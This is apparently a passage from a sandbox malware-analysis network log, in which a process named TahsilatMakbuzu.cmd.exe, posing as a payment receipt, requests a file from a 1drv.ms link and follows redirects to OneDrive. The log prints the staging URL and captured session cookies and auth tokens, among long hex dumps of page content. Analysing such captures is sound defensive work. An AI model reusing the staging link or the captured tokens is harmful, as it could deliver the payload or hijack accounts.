2024-07-04 18:18:29 UTC	8192	IN	Data Raw: 31 33 2d 38 30 32 43 2d 31 31 30 31 37 45 33 31 46 44 41 33 22 3a 74 72 75 65 2c 22 36 38 34 35 31 35 41 45 2d 39 31 34 32 2d 34 30 45 35 2d 39 44 38 30 2d 35 36 33 43 37 34 46 35 30 45 35 38 22 3a 74 72 75 65 2c 22 43 37 43 34 39 34 41 38 2d 41 31 32 32 2d 34 36 38 41 2d 41 32 39 41 2d 33 42 39 41 31 39 33 43 33 33 30 41 22 3a 74 72 75 65 2c 22 33 30 41 44 30 33 42 43 2d 34 35 39 45 2d 34 45 32 30 2d 39 38 35 35 2d 34 42 38 33 39 42 33 35 44 35 43 39 22 3a 74 72 75 65 2c 22 34 41 30 36 35 43 42 45 2d 33 37 43 41 2d 34 38 46 36 2d 39 43 31 44 2d 38 35 36 42 37 38 45 34 43 42 43 36 22 3a 74 72 75 65 2c 22 38 31 34 36 31 38 36 34 2d 46 31 42 41 2d 34 36 30 43 2d 42 43 45 31 2d 44 31 44 37 43 33 39 37 35 43 30 44 22 3a 74 72 75 65 2c 22 41 45 46 34 34 33 41 Data Ascii: 13-802C-11017E31FDA3":true,"684515AE-9142-40E5-9D80-563C74F50E58":true,"C7C494A8-A122-468A-A29A-3B9A193C330A":true,"30AD03BC-459E-4E20-9855-4B839B35D5C9":true,"4A065CBE-37CA-48F6-9C1D-856B78E4CBC6":true,"81461864-F1BA-460C-BCE1-D1D7C3975C0D":true,"AEF443A
2024-07-04 18:18:29 UTC	8192	IN	Data Raw: 45 34 45 31 37 39 36 30 37 38 45 35 22 3a 74 72 75 65 2c 22 36 45 37 31 38 31 42 42 2d 36 37 38 38 2d 34 34 30 31 2d 38 35 36 31 2d 38 35 38 36 30 44 38 37 32 32 32 33 22 3a 74 72 75 65 2c 22 38 46 34 41 31 30 39 41 2d 38 37 34 38 2d 34 38 32 42 2d 39 33 31 44 2d 46 45 30 46 45 44 36 38 38 30 33 44 22 3a 74 72 75 65 2c 22 32 43 35 35 30 32 45 38 2d 39 42 46 30 2d 34 45 44 39 2d 41 44 37 36 2d 39 42 42 45 31 31 34 35 45 37 36 31 22 3a 74 72 75 65 2c 22 39 32 46 44 41 42 32 39 2d 34 42 43 46 2d 34 32 37 46 2d 39 34 36 43 2d 44 35 45 38 45 43 45 33 35 42 36 46 22 3a 74 72 75 65 2c 22 39 31 44 33 36 41 43 34 2d 33 46 42 34 2d 34 31 37 36 2d 39 39 36 44 2d 41 32 30 42 45 32 46 34 44 33 37 31 22 3a 74 72 75 65 2c 22 44 44 30 31 31 42 43 41 2d 34 41 37 45 2d 34 Data Ascii: E4E1796078E5":true,"6E7181BB-6788-4401-8561-85860D872223":true,"8F4A109A-8748-482B-931D-FE0FED68803D":true,"2C5502E8-9BF0-4ED9-AD76-9BBE1145E761":true,"92FDAB29-4BCF-427F-946C-D5E8ECE35B6F":true,"91D36AC4-3FB4-4176-996D-A20BE2F4D371":true,"DD011BCA-4A7E-4
2024-07-04 18:18:29 UTC	8192	IN	Data Raw: 35 35 42 36 22 3a 74 72 75 65 2c 22 33 34 46 36 45 37 33 32 2d 43 31 35 34 2d 34 37 38 38 2d 39 44 32 42 2d 32 42 41 44 46 42 45 30 46 43 44 34 22 3a 74 72 75 65 2c 22 45 44 41 32 35 45 45 41 2d 45 34 35 35 2d 34 36 43 38 2d 42 39 42 46 2d 45 32 34 44 34 37 43 39 44 44 41 46 22 3a 74 72 75 65 2c 22 30 44 35 33 35 34 38 38 2d 46 30 35 36 2d 34 38 32 30 2d 41 39 43 31 2d 39 33 37 36 41 46 36 39 39 32 46 43 22 3a 74 72 75 65 2c 22 38 36 44 44 38 46 34 44 2d 36 41 31 43 2d 34 43 44 31 2d 39 43 46 36 2d 37 46 41 39 41 41 33 35 45 41 44 45 22 3a 74 72 75 65 2c 22 43 37 45 33 44 30 33 39 2d 41 35 30 44 2d 34 31 36 35 2d 39 35 34 42 2d 30 46 46 32 35 31 39 31 46 42 36 41 22 3a 74 72 75 65 2c 22 30 32 46 44 44 42 31 44 2d 30 38 32 34 2d 34 34 34 32 2d 38 35 34 32 Data Ascii: 55B6":true,"34F6E732-C154-4788-9D2B-2BADFBE0FCD4":true,"EDA25EEA-E455-46C8-B9BF-E24D47C9DDAF":true,"0D535488-F056-4820-A9C1-9376AF6992FC":true,"86DD8F4D-6A1C-4CD1-9CF6-7FA9AA35EADE":true,"C7E3D039-A50D-4165-954B-0FF25191FB6A":true,"02FDDB1D-0824-4442-8542
2024-07-04 18:18:29 UTC	8192	IN	Data Raw: 75 65 2c 22 43 39 46 45 39 44 44 42 2d 31 36 30 38 2d 34 30 41 45 2d 38 46 30 35 2d 31 42 46 44 34 43 46 43 38 43 35 33 22 3a 74 72 75 65 2c 22 41 45 32 30 44 43 30 34 2d 37 31 31 41 2d 34 37 36 38 2d 42 30 30 41 2d 32 41 33 32 39 33 35 41 36 36 46 37 22 3a 74 72 75 65 2c 22 43 32 36 33 43 41 44 43 2d 31 41 32 31 2d 34 35 38 38 2d 38 35 36 31 2d 43 37 39 46 42 30 35 31 31 38 41 37 22 3a 74 72 75 65 2c 22 37 37 42 31 32 45 33 30 2d 35 31 39 32 2d 34 30 45 37 2d 41 36 45 41 2d 46 38 34 31 35 35 31 33 46 37 37 33 22 3a 74 72 75 65 2c 22 43 32 45 32 34 37 42 46 2d 45 34 38 35 2d 34 41 37 30 2d 39 34 37 46 2d 35 30 46 33 42 38 41 43 30 39 44 38 22 3a 74 72 75 65 2c 22 33 44 30 45 41 30 34 45 2d 36 31 41 41 2d 34 42 35 37 2d 41 35 44 32 2d 33 37 37 46 37 36 41 Data Ascii: ue,"C9FE9DDB-1608-40AE-8F05-1BFD4CFC8C53":true,"AE20DC04-711A-4768-B00A-2A32935A66F7":true,"C263CADC-1A21-4588-8561-C79FB05118A7":true,"77B12E30-5192-40E7-A6EA-F8415513F773":true,"C2E247BF-E485-4A70-947F-50F3B8AC09D8":true,"3D0EA04E-61AA-4B57-A5D2-377F76A
2024-07-04 18:18:29 UTC	8192	IN	Data Raw: 42 44 44 46 2d 33 39 31 32 2d 34 37 43 37 2d 38 35 38 32 2d 38 32 35 41 39 46 39 33 46 42 35 32 22 3a 74 72 75 65 2c 22 32 42 35 32 41 42 42 36 2d 46 37 32 45 2d 34 44 38 36 2d 39 44 36 37 2d 46 38 35 44 46 44 32 34 39 44 34 42 22 3a 74 72 75 65 2c 22 32 33 39 33 32 38 45 43 2d 32 30 39 38 2d 34 36 42 42 2d 39 43 35 43 2d 33 44 45 36 36 39 38 38 32 39 37 44 22 3a 74 72 75 65 2c 22 32 44 45 46 30 32 31 33 2d 35 30 35 45 2d 34 42 42 33 2d 38 34 34 31 2d 31 39 45 33 41 45 43 30 44 33 35 32 22 3a 74 72 75 65 2c 22 45 41 30 34 37 39 38 41 2d 42 35 30 31 2d 34 37 46 39 2d 41 35 31 41 2d 39 42 36 33 45 32 39 37 44 34 43 44 22 3a 74 72 75 65 2c 22 35 44 31 39 46 45 44 32 2d 32 42 46 36 2d 34 38 45 38 2d 39 43 41 44 2d 32 44 38 44 35 44 32 34 35 39 43 31 22 3a 74 Data Ascii: BDDF-3912-47C7-8582-825A9F93FB52":true,"2B52ABB6-F72E-4D86-9D67-F85DFD249D4B":true,"239328EC-2098-46BB-9C5C-3DE66988297D":true,"2DEF0213-505E-4BB3-8441-19E3AEC0D352":true,"EA04798A-B501-47F9-A51A-9B63E297D4CD":true,"5D19FED2-2BF6-48E8-9CAD-2D8D5D2459C1":t

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
138	192.168.2.6	49868	13.107.42.12	443	6640	C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-04 18:18:30 UTC	75	OUT	GET /u/s!Ar3htTgIfCu_dJqG_ruP1N2iLfc?download=1 HTTP/1.1 Host: 1drv.ms
2024-07-04 18:18:30 UTC	592	IN	HTTP/1.1 301 Moved Permanently Location: https://onedrive.live.com/redir?resid=BF2B7C0838B5E1BD!116&download=1&migratedtospo=true&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ X-MSNSERVER: PH2PPF3CB753E67 Strict-Transport-Security: max-age=31536000; includeSubDomains MS-CV: nwGPfMiWskW9yA/m4L/yrw.0 X-AsmVersion: UNKNOWN; 19.1445.617.2015 X-Cache: CONFIG_NOCACHE X-MSEdge-Ref: Ref A: F985E1AB79514138BA1CDB381C1B5279 Ref B: EWR30EDGE0718 Ref C: 2024-07-04T18:18:30Z Date: Thu, 04 Jul 2024 18:18:30 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
139	192.168.2.6	49869	13.107.137.11	443	6640	C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-04 18:18:31 UTC	191	OUT	GET /redir?resid=BF2B7C0838B5E1BD!116&download=1&migratedtospo=true&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ HTTP/1.1 Host: onedrive.live.com
2024-07-04 18:18:32 UTC	2223	IN	HTTP/1.1 302 Found Cache-Control: no-cache, no-store Pragma: no-cache Content-Length: 311 Content-Type: text/html; charset=utf-8 Expires: -1 Location: /?id=BF2B7C0838B5E1BD!116&resid=BF2B7C0838B5E1BD!116&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ&migratedtospo=true&cid=bf2b7c0838b5e1bd Set-Cookie: E=P:rcvQtVWc3Ig=:gIQWHCAs00xenigqIJza9nl5p9QlgBOGPWrManleWCQ=:F; domain=.live.com; path=/ Set-Cookie: xid=e27154ac-1889-4b46-9fce-7cf27bbddfbe&&ODSP-ODWEB-ODCF&228; domain=.live.com; path=/ Set-Cookie: xidseq=1; domain=.live.com; path=/ Set-Cookie: LD=; domain=.live.com; expires=Thu, 04-Jul-2024 16:38:31 GMT; path=/ Set-Cookie: BadgerAuth=eyJhbGciOiJSUzI1NiIsImtpZCI6IjQ5MUJFODAyNDJGMEJDQkZCOTY4NTcxMTY0RjZGRTYwNDQ5NzQ5MTQiLCJ4NXQiOiJTUnZvQWtMd3ZMLTVhRmNSWlBiLVlFU1hTUlEiLCJ0eXAiOiJKV1QifQ.eyJhdWQiOiJodHRwczovL29uZWRyaXZlLmNvbS8iLCJpc3MiOiJodHRwczovL2JhZGdlci5zdmMubXMvdjEuMC9hdXRoIiwiZXhwIjoxNzIwNzIxOTExLCJuYmYiOjE3MjAxMTcxMTEsImdpdmVuX25hbWUiOiI5MSIsImZhbWlseV9uYW1lIjoiU3RpbmdyYXkiLCJodHRwOi8vc2NoZW1hcy54bWxzb2FwLm9yZy93cy8yMDA1LzA1L2lkZW50aXR5L2NsYWltcy9zaWQiOiIyN2Q5YWM3NGRiN2UyMTYxMGYwMjNkOTI3NDljYTg5MSIsImFwcGlkIjoiNDM5N0YwNUEtNDMyMi00ODA2LUIzQzUtMzFCRjEyQkUwQTYyIiwiaWF0IjoxNzIwMTE3MTExfQ.mIewDwjI69-62_IEVZ0d9aHfwjigu0R6BJZb9S3toeSxO-yFF6JVYzXU1Wv-5mA2r45PzpLeWiquU87om-PyF6-5BDYeyVcR5EY6AmK-dWICCEvEw6yDje0Q1iroVg5XinSdn7RhbA9HBZEydevegnp05oiaAlcZH7ekUSKgnnDiMwsvj2Y5YrGmBCUnvAJZJvoyVOohVktUTMBsn3bXvLowGmZWfqk2TJFgL3k67k7k8bUPXrND29OK6nIh93Ov8bXhy0OASKRWoB1nwAr1y5EfZn9mxWgdjV-nUbi4eSa6NNPmVUsw6bi8FQPjQkQFePGzm_Igkbv-K3C1x86wTw; path=/; SameSite=None; secure Set-Cookie: wla42=; domain=live.com; expires=Thu, 11-Jul-2024 18:18:32 GMT; path=/ X-Frame-Options: SAMEORIGIN Content-Security-Policy: frame-ancestors 'self' sentry.contentvalidation.com sentry.ppe.contentvalidation.com sentry.int.contentvalidation.com X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-MSNServer: 656bc47b7b-ctqq5 X-ODWebServer: nameastus2708987-odwebpl X-Cache: CONFIG_NOCACHE X-MSEdge-Ref: Ref A: 9CA942FBDA464D0D9223B689EACD0560 Ref B: BN3EDGE0208 Ref C: 2024-07-04T18:18:31Z Date: Thu, 04 Jul 2024 18:18:32 GMT Connection: close
2024-07-04 18:18:32 UTC	311	IN	Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 4f 62 6a 65 63 74 20 6d 6f 76 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 32 3e 4f 62 6a 65 63 74 20 6d 6f 76 65 64 20 74 6f 20 3c 61 20 68 72 65 66 3d 22 2f 3f 69 64 3d 42 46 32 42 37 43 30 38 33 38 42 35 45 31 42 44 21 31 31 36 26 61 6d 70 3b 72 65 73 69 64 3d 42 46 32 42 37 43 30 38 33 38 42 35 45 31 42 44 21 31 31 36 26 61 6d 70 3b 72 65 64 65 65 6d 3d 61 48 52 30 63 48 4d 36 4c 79 38 78 5a 48 4a 32 4c 6d 31 7a 4c 33 55 76 63 79 46 42 63 6a 4e 6f 64 46 52 6e 53 57 5a 44 64 56 39 6b 53 6e 46 48 58 33 4a 31 55 44 46 4f 4d 6d 6c 4d 5a 6d 4d 5f 5a 47 39 33 62 6d 78 76 59 57 51 39 4d 51 26 61 6d 70 3b 6d 69 67 72 61 74 65 64 74 6f 73 70 6f 3d 74 72 75 65 26 61 6d Data Ascii: <html><head><title>Object moved</title></head><body><h2>Object moved to <a href="/?id=BF2B7C0838B5E1BD!116&resid=BF2B7C0838B5E1BD!116&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ&migratedtospo=true&am

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
140	192.168.2.6	49870	13.107.137.11	443	6640	C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-04 18:18:32 UTC	1283	OUT	GET /?id=BF2B7C0838B5E1BD!116&resid=BF2B7C0838B5E1BD!116&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ&migratedtospo=true&cid=bf2b7c0838b5e1bd HTTP/1.1 Host: onedrive.live.com Cookie: BadgerAuth=eyJhbGciOiJSUzI1NiIsImtpZCI6IjQ5MUJFODAyNDJGMEJDQkZCOTY4NTcxMTY0RjZGRTYwNDQ5NzQ5MTQiLCJ4NXQiOiJTUnZvQWtMd3ZMLTVhRmNSWlBiLVlFU1hTUlEiLCJ0eXAiOiJKV1QifQ.eyJhdWQiOiJodHRwczovL29uZWRyaXZlLmNvbS8iLCJpc3MiOiJodHRwczovL2JhZGdlci5zdmMubXMvdjEuMC9hdXRoIiwiZXhwIjoxNzIwNzIxOTExLCJuYmYiOjE3MjAxMTcxMTEsImdpdmVuX25hbWUiOiI5MSIsImZhbWlseV9uYW1lIjoiU3RpbmdyYXkiLCJodHRwOi8vc2NoZW1hcy54bWxzb2FwLm9yZy93cy8yMDA1LzA1L2lkZW50aXR5L2NsYWltcy9zaWQiOiIyN2Q5YWM3NGRiN2UyMTYxMGYwMjNkOTI3NDljYTg5MSIsImFwcGlkIjoiNDM5N0YwNUEtNDMyMi00ODA2LUIzQzUtMzFCRjEyQkUwQTYyIiwiaWF0IjoxNzIwMTE3MTExfQ.mIewDwjI69-62_IEVZ0d9aHfwjigu0R6BJZb9S3toeSxO-yFF6JVYzXU1Wv-5mA2r45PzpLeWiquU87om-PyF6-5BDYeyVcR5EY6AmK-dWICCEvEw6yDje0Q1iroVg5XinSdn7RhbA9HBZEydevegnp05oiaAlcZH7ekUSKgnnDiMwsvj2Y5YrGmBCUnvAJZJvoyVOohVktUTMBsn3bXvLowGmZWfqk2TJFgL3k67k7k8bUPXrND29OK6nIh93Ov8bXhy0OASKRWoB1nwAr1y5EfZn9mxWgdjV-nUbi4eSa6NNPmVUsw6bi8FQPjQkQFePGzm_Igkbv-K3C1x86wTw; E=P:rcvQtVWc3Ig=:gIQWHCAs00xenigqIJza9nl5p9QlgBOGPWrManleWCQ=:F; xid=e27154ac-1889-4b46-9fce-7cf27b [TRUNCATED]
2024-07-04 18:18:33 UTC	1922	IN	HTTP/1.1 200 OK Cache-Control: private Content-Length: 205808 Content-Type: text/html; charset=utf-8 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" WWW-Authenticate: Wlid1.1 realm="WindowsLive", fault="BadContextToken", policy="MBI_SSL", ver="7.5.0.0", target="ssl.live.com", siteId="ssl.live.com" X-NetworkStatistics: 0,525568,0,0,861,0,34265,27 X-SharePointHealthScore: 2 Content-Security-Policy: frame-ancestors 'self' sentry.contentvalidation.com sentry.ppe.contentvalidation.com sentry.int.contentvalidation.com X-AspNet-Version: 4.0.30319 X-DataBoundary: NONE X-1DSCollectorUrl: https://mobile.events.data.microsoft.com/OneCollector/1.0/ X-AriaCollectorURL: https://browser.pipe.aria.microsoft.com/Collector/3.0/ SPRequestGuid: 501239a1-b086-6000-03d2-93bcf6e0625f request-id: 501239a1-b086-6000-03d2-93bcf6e0625f MS-CV: oTkSUIawAGAD0pO89uBiXw.0 Strict-Transport-Security: max-age=31536000 X-FRAME-OPTIONS: SAMEORIGIN Content-Security-Policy: frame-ancestors 'self' teams.microsoft.com .teams.microsoft.com .skype.com .teams.microsoft.us local.teams.office.com teams.cloud.microsoft .office365.com goals.cloud.microsoft .powerapps.com .powerbi.com .yammer.com engage.cloud.microsoft word.cloud.microsoft excel.cloud.microsoft powerpoint.cloud.microsoft .officeapps.live.com .office.com .microsoft365.com .stream.azure-test.net .microsoftstream.com .dynamics.com .microsoft.com onedrive.live.com *.onedrive.live.com securebroker.sharepointonline.com; SPRequestDuration: 26 SPIisLatency: 2 X-Powered-By: ASP.NET MicrosoftSharePointTeamServices: 16.0.0.25019 X-Content-Type-Options: nosniff X-MS-InvokeApp: 1; RequireReadOnly X-Cache: CONFIG_NOCACHE X-MSEdge-Ref: Ref A: 3C699ADAB8AF434CB803EAD210440B8C Ref B: BN3EDGE1120 Ref C: 2024-07-04T18:18:32Z Date: Thu, 04 Jul 2024 18:18:32 GMT Connection: close
2024-07-04 18:18:33 UTC	2861	IN	Data Raw: 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 75 73 22 20 64 69 72 3d 22 6c 74 72 22 3e 0d 0a 20 20 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 6e 6f 22 20 2f 3e Data Ascii: <!DOCTYPE html><html lang="en-us" dir="ltr"> <head><meta http-equiv="Content-type" content="text/html; charset=utf-8" /><meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, minimum-scale=1.0, user-scalable=no" />
2024-07-04 18:18:33 UTC	8192	IN	Data Raw: 38 2c 2d 31 36 34 38 32 34 32 35 30 2c 32 30 36 32 39 35 36 35 33 35 2c 2d 31 32 37 36 36 35 38 35 37 35 2c 32 30 34 32 32 32 33 39 34 30 2c 2d 38 39 31 34 35 33 35 39 37 2c 35 31 37 37 38 37 39 33 35 2c 32 35 39 34 36 33 31 33 30 2c 2d 38 34 36 33 31 36 33 31 39 2c 2d 39 35 34 32 31 37 35 36 34 2c 31 39 35 31 39 36 34 38 34 2c 2d 33 35 33 37 36 34 30 38 39 2c 31 39 33 38 37 30 35 33 37 34 2c 31 36 30 37 36 36 36 31 35 30 2c 31 34 37 31 30 36 31 37 33 33 2c 31 33 33 31 32 32 30 30 32 33 2c 31 37 36 35 31 37 30 35 30 39 2c 2d 31 33 36 30 30 37 33 36 39 39 2c 2d 32 30 31 34 33 36 36 39 38 33 2c 2d 31 34 37 31 31 39 34 33 2c 31 39 33 36 34 34 35 34 32 38 2c 31 32 32 36 30 33 34 31 30 32 2c 31 38 30 35 38 34 39 31 39 31 2c 2d 35 30 35 33 32 39 36 38 2c 32 36 Data Ascii: 8,-164824250,2062956535,-1276658575,2042223940,-891453597,517787935,259463130,-846316319,-954217564,195196484,-353764089,1938705374,1607666150,1471061733,1331220023,1765170509,-1360073699,-2014366983,-14711943,1936445428,1226034102,1805849191,-50532968,26
2024-07-04 18:18:33 UTC	3527	IN	Data Raw: 74 72 75 65 2c 22 39 31 37 31 31 46 32 32 2d 44 34 34 45 2d 34 41 35 35 2d 39 32 38 32 2d 32 36 34 35 31 30 42 30 38 33 43 43 22 3a 74 72 75 65 2c 22 45 45 44 44 31 44 36 46 2d 36 39 46 34 2d 34 30 32 38 2d 39 46 31 46 2d 34 36 32 30 37 39 33 33 38 45 44 41 22 3a 74 72 75 65 2c 22 34 30 36 39 38 43 30 34 2d 31 31 38 39 2d 34 45 30 38 2d 42 39 33 30 2d 46 39 39 37 44 45 36 35 32 42 38 37 22 3a 74 72 75 65 2c 22 33 41 37 31 36 37 30 39 2d 39 34 31 35 2d 34 32 34 39 2d 39 32 39 35 2d 36 39 32 30 36 43 44 38 39 37 43 45 22 3a 74 72 75 65 2c 22 31 44 33 32 34 34 39 38 2d 37 36 37 33 2d 34 34 44 43 2d 41 35 43 39 2d 30 39 43 39 39 44 44 33 30 33 41 30 22 3a 74 72 75 65 2c 22 30 35 42 37 35 32 41 36 2d 30 34 44 39 2d 34 45 44 36 2d 42 45 31 36 2d 43 34 38 44 35 Data Ascii: true,"91711F22-D44E-4A55-9282-264510B083CC":true,"EEDD1D6F-69F4-4028-9F1F-462079338EDA":true,"40698C04-1189-4E08-B930-F997DE652B87":true,"3A716709-9415-4249-9295-69206CD897CE":true,"1D324498-7673-44DC-A5C9-09C99DD303A0":true,"05B752A6-04D9-4ED6-BE16-C48D5
2024-07-04 18:18:33 UTC	8192	IN	Data Raw: 30 38 45 46 30 31 30 2d 44 37 35 42 2d 34 44 36 41 2d 38 36 41 35 2d 33 46 44 37 44 34 45 46 33 34 45 32 22 3a 74 72 75 65 2c 22 42 39 30 44 41 35 46 39 2d 42 41 37 35 2d 34 42 43 43 2d 41 33 45 30 2d 39 46 39 41 42 45 30 36 46 46 35 39 22 3a 74 72 75 65 2c 22 37 33 39 33 39 43 35 46 2d 34 32 37 42 2d 34 43 30 32 2d 42 30 38 42 2d 35 30 45 37 37 38 41 42 44 46 34 42 22 3a 74 72 75 65 2c 22 33 36 45 33 33 36 38 38 2d 37 30 45 44 2d 34 39 34 41 2d 41 39 32 31 2d 37 30 35 46 33 30 38 43 31 30 41 36 22 3a 74 72 75 65 2c 22 30 35 34 36 46 30 36 35 2d 43 33 34 37 2d 34 41 44 30 2d 38 38 36 44 2d 38 44 38 34 36 39 37 33 44 43 36 38 22 3a 74 72 75 65 2c 22 32 36 36 46 33 42 42 36 2d 44 42 37 46 2d 34 32 37 30 2d 42 38 38 33 2d 44 32 35 43 42 44 32 36 37 38 33 31 Data Ascii: 08EF010-D75B-4D6A-86A5-3FD7D4EF34E2":true,"B90DA5F9-BA75-4BCC-A3E0-9F9ABE06FF59":true,"73939C5F-427B-4C02-B08B-50E778ABDF4B":true,"36E33688-70ED-494A-A921-705F308C10A6":true,"0546F065-C347-4AD0-886D-8D846973DC68":true,"266F3BB6-DB7F-4270-B883-D25CBD267831
2024-07-04 18:18:33 UTC	8192	IN	Data Raw: 44 31 33 35 2d 34 46 31 45 2d 42 31 31 36 2d 36 39 33 33 34 36 42 30 37 42 35 42 22 3a 74 72 75 65 2c 22 34 38 36 30 42 36 30 44 2d 32 34 34 46 2d 34 46 34 42 2d 39 43 33 30 2d 30 36 30 45 32 37 44 38 42 35 31 41 22 3a 74 72 75 65 2c 22 31 34 46 45 35 43 36 45 2d 32 41 41 31 2d 34 33 43 39 2d 38 31 39 43 2d 41 39 39 35 37 32 37 32 33 35 39 43 22 3a 74 72 75 65 2c 22 41 30 39 32 31 45 34 30 2d 42 37 33 37 2d 34 43 42 46 2d 38 44 35 45 2d 46 36 31 43 41 45 30 32 46 44 30 32 22 3a 74 72 75 65 2c 22 31 33 32 37 30 30 30 33 2d 37 46 39 34 2d 34 41 35 46 2d 39 35 38 33 2d 32 31 41 37 38 43 41 46 41 31 42 42 22 3a 74 72 75 65 2c 22 44 37 42 45 38 36 39 38 2d 46 35 38 46 2d 34 43 35 33 2d 39 31 32 42 2d 34 39 39 44 34 42 33 33 46 36 45 30 22 3a 74 72 75 65 2c 22 Data Ascii: D135-4F1E-B116-693346B07B5B":true,"4860B60D-244F-4F4B-9C30-060E27D8B51A":true,"14FE5C6E-2AA1-43C9-819C-A9957272359C":true,"A0921E40-B737-4CBF-8D5E-F61CAE02FD02":true,"13270003-7F94-4A5F-9583-21A78CAFA1BB":true,"D7BE8698-F58F-4C53-912B-499D4B33F6E0":true,"
2024-07-04 18:18:33 UTC	8192	IN	Data Raw: 33 2d 38 30 32 43 2d 31 31 30 31 37 45 33 31 46 44 41 33 22 3a 74 72 75 65 2c 22 36 38 34 35 31 35 41 45 2d 39 31 34 32 2d 34 30 45 35 2d 39 44 38 30 2d 35 36 33 43 37 34 46 35 30 45 35 38 22 3a 74 72 75 65 2c 22 43 37 43 34 39 34 41 38 2d 41 31 32 32 2d 34 36 38 41 2d 41 32 39 41 2d 33 42 39 41 31 39 33 43 33 33 30 41 22 3a 74 72 75 65 2c 22 33 30 41 44 30 33 42 43 2d 34 35 39 45 2d 34 45 32 30 2d 39 38 35 35 2d 34 42 38 33 39 42 33 35 44 35 43 39 22 3a 74 72 75 65 2c 22 34 41 30 36 35 43 42 45 2d 33 37 43 41 2d 34 38 46 36 2d 39 43 31 44 2d 38 35 36 42 37 38 45 34 43 42 43 36 22 3a 74 72 75 65 2c 22 38 31 34 36 31 38 36 34 2d 46 31 42 41 2d 34 36 30 43 2d 42 43 45 31 2d 44 31 44 37 43 33 39 37 35 43 30 44 22 3a 74 72 75 65 2c 22 41 45 46 34 34 33 41 31 Data Ascii: 3-802C-11017E31FDA3":true,"684515AE-9142-40E5-9D80-563C74F50E58":true,"C7C494A8-A122-468A-A29A-3B9A193C330A":true,"30AD03BC-459E-4E20-9855-4B839B35D5C9":true,"4A065CBE-37CA-48F6-9C1D-856B78E4CBC6":true,"81461864-F1BA-460C-BCE1-D1D7C3975C0D":true,"AEF443A1
2024-07-04 18:18:33 UTC	8192	IN	Data Raw: 34 45 31 37 39 36 30 37 38 45 35 22 3a 74 72 75 65 2c 22 36 45 37 31 38 31 42 42 2d 36 37 38 38 2d 34 34 30 31 2d 38 35 36 31 2d 38 35 38 36 30 44 38 37 32 32 32 33 22 3a 74 72 75 65 2c 22 38 46 34 41 31 30 39 41 2d 38 37 34 38 2d 34 38 32 42 2d 39 33 31 44 2d 46 45 30 46 45 44 36 38 38 30 33 44 22 3a 74 72 75 65 2c 22 32 43 35 35 30 32 45 38 2d 39 42 46 30 2d 34 45 44 39 2d 41 44 37 36 2d 39 42 42 45 31 31 34 35 45 37 36 31 22 3a 74 72 75 65 2c 22 39 32 46 44 41 42 32 39 2d 34 42 43 46 2d 34 32 37 46 2d 39 34 36 43 2d 44 35 45 38 45 43 45 33 35 42 36 46 22 3a 74 72 75 65 2c 22 39 31 44 33 36 41 43 34 2d 33 46 42 34 2d 34 31 37 36 2d 39 39 36 44 2d 41 32 30 42 45 32 46 34 44 33 37 31 22 3a 74 72 75 65 2c 22 44 44 30 31 31 42 43 41 2d 34 41 37 45 2d 34 41 Data Ascii: 4E1796078E5":true,"6E7181BB-6788-4401-8561-85860D872223":true,"8F4A109A-8748-482B-931D-FE0FED68803D":true,"2C5502E8-9BF0-4ED9-AD76-9BBE1145E761":true,"92FDAB29-4BCF-427F-946C-D5E8ECE35B6F":true,"91D36AC4-3FB4-4176-996D-A20BE2F4D371":true,"DD011BCA-4A7E-4A
